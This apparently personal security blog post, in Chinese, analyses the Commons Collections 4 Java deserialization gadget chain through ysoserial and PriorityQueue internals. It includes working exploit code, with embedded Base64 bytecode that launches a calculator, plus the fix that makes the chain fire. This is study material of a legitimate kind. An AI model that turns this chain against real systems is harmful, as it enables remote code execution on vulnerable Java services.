CC4链分析

本文最后更新于:2024年10月9日 晚上

CC4:CC2前半段+CC3后半段

我这里直接跳过CC2了,CC2的后半段使用的是InvokerTransformer触发

在GitHub上pull下来ysoserial的源码,找到CommonsCollections4.java,

粗略看下来,应该是沿用了CC3的方式,采用InstantiateTransformertransform()方法去触发TrAXFilter类的构造函数,进而去调用TemplatesImpl类的defineClass,还是动态加载类的方式执行命令。

这里可以跳转到ysoserialGadgets.createTemplatesImpl(String)方法:

然后进一步调用了重载函数,最终返回的是一个模板类

继续回到CommonsCollections4.java,发现使用一个PriorityQueue的类去序列化,所以好好研究一下这个类。根据翻译就知道,这是Java实现的优先队列库,方便开发,在java.util中。

优先队列是什么,简单来说,它是一种基于队列衍生的高级数据结构,比如一群客户排队,但是突然有个VIP客户要插队,此时维持先进先出的普通队列数据结构就行不通了,所以实现了优先队列。优先队列中的每个元素都有一个额外的优先级属性,它的出队顺序与元素的优先级有关。

当然这里我们不关心它的具体实现,只关注其在反序列化过程中为什么会导致任意代码执行的问题。

找到PriorityQueue的源码,看到其readObject函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

在循环那里,调用了s.readObject,所以我们需要知道这里的s是什么,回到ysoserial的源码,发现压入队列的是一个新的类TransformingComparator,顾名思义其是用于比较两个Transformer的,在org.apache.commons.collections.comparators中,点进去看看,继承了Serializable没有实现单独的readObject,发现一个比较函数,而比较函数里是调用了两个Transformertransform方法的,所以入口点可能在这里。(这里我用成3.2.1版本的图了)

回到PriorityQueue这里,其调用了一个heapify()方法,跳转:

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

然后继续调用,在循环中siftDown方法,传入队列中的每一个元素:

1
2
3
4
5
6
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

继续调用siftDownUsingComparator方法,可以发现这里名字里带了一个比较,大概率和上面分析的入口点没差了:

这里应该就是优先队列中根据优先级来排序的部分,在if语句调用了comparator成员变量的compare方法

这里明确说了,没有指定就默认排序

所以需要指定一个比较器,选择我们的TransformingComparator也就是顺利成章了,PriorityQueue重载了一个指定比较器的构造函数

现在可以开始构造我们的链子了:首先,适应高版本,然后相较于CC3,只改变了入口,ysoserial的CC3入口是lazyMap

1
2
3
4
5
6
7
8
9
10
PriorityQueue.readObject()
->PriorityQueue.heapify()
->PriorityQueue.siftDown()
->PriorityQueue.siftDownUsingComparator()
->TransformingComparator.compare()
->ChainedTransformer.transform()
->InstantiateTransformer.transform()
->TemplatesImpl.newTransformer()
->defineClass()
->newInstance()

下面编写测试代码:

首先导入commons-collections4的包

1
2
3
4
5
<dependency>  
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

然后直接将CC3的前半段copy,然后构造一个PriorityQueue实例即可,这里这里导入的包均为4.0版本的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public static void main(String[] args) throws Exception {
byte[] CalcCode = Base64.getDecoder().decode(
"yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEA" +
"CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +
"TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0a" +
"W9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKEx" +
"jb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hc" +
"GFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS9" +
"4bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAA" +
"ygpVgcAGwEAClNvdXJjZUZpbGUBABBUZW1wbGF0ZVBPQy5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGM" +
"MAB8AIAEAC1RlbXBsYXRlUE9DAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzb" +
"HRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnR" +
"lcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL" +
"2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQA" +
"nKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIA" +
"AIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAALAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAA" +
"ABAAAAAGxAAAAAQAKAAAABgABAAAADwALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAA" +
"bgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAARAAQAEgANABMACwAAAAQAAQAQAAEAEQAAAAIAEg==");
TemplatesImpl calcTemp = new TemplatesImpl();
setFieldValue(calcTemp, "_bytecodes", new byte[][] {CalcCode});
setFieldValue(calcTemp, "_name", "CalcTemplatesImpl");
setFieldValue(calcTemp, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{calcTemp})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
PriorityQueue<Object> queue = new PriorityQueue<>(1,new TransformingComparator(transformerChain));

// 测试
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}

可以发现这样运行并不会像分析的那样弹计算器,在PriorityQueue类的795行打断点分析:

这里发现size=0直接跳过执行了,这里需要填充值,而且使用了右移运算,所以构造时将队列容量调为2

1
2
3
PriorityQueue<Object> queue = new PriorityQueue<>(2,new TransformingComparator(transformerChain));
queue.add("3xsh0re");
queue.add("CC-4");

成功弹出计算器:

CC链分析完整测试代码,可直接拉取


CC4链分析
https://3xsh0re.github.io/2024/10/01/CC4链分析/
作者
3xsh0re
发布于
2024年10月1日
许可协议